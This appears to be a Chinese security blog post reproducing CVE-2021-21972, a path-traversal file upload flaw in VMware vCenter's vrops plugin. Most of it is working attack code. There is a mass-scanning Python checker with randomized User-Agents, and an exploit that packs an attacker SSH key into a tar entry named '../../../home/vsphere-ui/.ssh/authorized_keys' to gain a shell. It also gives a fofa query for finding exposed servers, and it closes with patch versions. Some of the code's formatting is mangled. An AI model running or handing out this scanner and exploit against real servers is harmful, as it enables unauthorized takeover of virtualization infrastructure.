CVE-2021-21972 RCE复现

  • CVE-2021-21972 RCE复现已关闭评论
  • 15 views
  • A+

漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

VMware vCenter Server: 7.0/6.7/6.5

漏洞分析

vCenter Server中的vrops插件存在一些未鉴定权限的敏感接口,其中uploadova接口具有文件上传功能。
```
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;

                for(int var11 = 0; var11 < var10; ++var11) {
                    String entry = var9[var11];
                    File currentFile = new File(dir.getPath(), entry);
                    currentFile.delete();
                }

                logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
            }

            TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
            TarArchiveEntry entry = in.getNextTarEntry();
            ArrayList result = new ArrayList();

代码中,将tar文件解压后,上传到`/tmp/unicorn_ova_dir`目录
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
``
上述代码直接将tar解压的文件名与
/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../`绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC & EXP

POC来自github:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
```

-- coding:utf-8 --

banner = """
888888ba dP

88 8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
88
8b. 88' 88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P
88888P8 dP 88888P'88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/02/24 CVE-2021-21972.py
C0de by NebulabdSec - @batsu

"""
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
               '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
              )
return ua

def CVE_2021_21972(url):
proxies = {"scoks5": "http://127.0.0.1:1081"}
headers = {
'User-Agent': get_ua(),
"Content-Type": "application/x-www-form-urlencoded"
}
targetUrl = url + TARGET_URI
try:
res = requests.get(targetUrl,
headers=headers,
timeout=15,
verify=False,
proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
# print(len(res.text))
if res.status_code == 405:
print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
# print("[+] Command success result: " + res.text + "\n")
with open("存在漏洞地址.txt", 'a') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默认15线程

if name == "main":
main()
```

EXP来自CSDN:
https://blog.csdn.net/weixin_43650289/article/details/114055417

```
import tarfile
import os
from io import BytesIO
import requests

proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def return_zip():
with tarfile.open("test.tar", 'w') as tar:
payload = BytesIO()
id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
f1 = BytesIO(id_rsa_pub.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
def getshell(url):
files = {'uploadFile':open('test.tar','rb')}
try:
r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
print(r)
except:
print('flase')

if name == "main":
try:
return_zip()
url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
getshell(url)
except IOError as e:
raise e
```

漏洞复现

fofa搜索title="+ ID_VC_Welcome +"

1.png

使用POC验证漏洞是否存在:

2.png

使用EXP上传tar文件:

3.png

成功上传authorized_keys

修复建议

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

参考链接

https://www.vmware.com/security/advisories/VMSA-2021-0002.html